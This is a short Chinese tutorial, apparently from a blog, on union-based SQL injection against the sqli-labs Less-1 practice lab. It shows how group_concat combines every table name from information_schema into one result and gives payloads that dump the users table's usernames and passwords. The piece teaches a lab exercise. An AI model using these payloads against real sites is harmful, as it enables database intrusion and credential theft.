sql注入利用group_concat函数

1.group_concat函数的作用:

首先根据group by指定的列进行分组,将同一组的列显示出来,并且用分隔符分隔。

2.group_concat运用

这里我使用的是sqllab-less1,通过对数据库的查询,我们发现数据库表名,列名,等数据在information_schema数据库中。

就可以通过以下语句注入

复制代码
?id=-1' union select 1,2,table_name from information_schema.tables where table_schema='security'--+

但是这样只能回显某一个表,这时就可以使用group_concat函数把security的每一个表回显出来

同理可以查询列名。

当库名、表名、列名都查到了之后,选择最有用的回显出来就成功的注入了。

这里我们选择users表回显出用户名username和密码password。

复制代码
?id=-1' union select 1,group_concat(username,0x3e,password),3 from users--+

当然这是最简单的注入。

相关推荐
电商API&Tina几秒前
【电商API接口】开发者一站式电商API接入说明
大数据·数据库·人工智能·云计算·json
2401_857918292 分钟前
用Python和Twilio构建短信通知系统
jvm·数据库·python
樹JUMP7 分钟前
使用Docker容器化你的Python应用
jvm·数据库·python
云道轩37 分钟前
deepseek对 Oracle Fusion Cloud Applications 安全的分析
安全·fusion
原来是猿43 分钟前
MySQL【用户管理】
数据库·mysql
2501_945423541 小时前
使用Fabric自动化你的部署流程
jvm·数据库·python
2401_846341651 小时前
用Pandas处理时间序列数据(Time Series)
jvm·数据库·python
未知鱼1 小时前
Python安全开发之子域名扫描器(含详细注释)
网络·python·安全·web安全·网络安全
2401_831824961 小时前
编写一个Python脚本自动下载壁纸
jvm·数据库·python
2401_857918291 小时前
Python在2024年的主要趋势与发展方向
jvm·数据库·python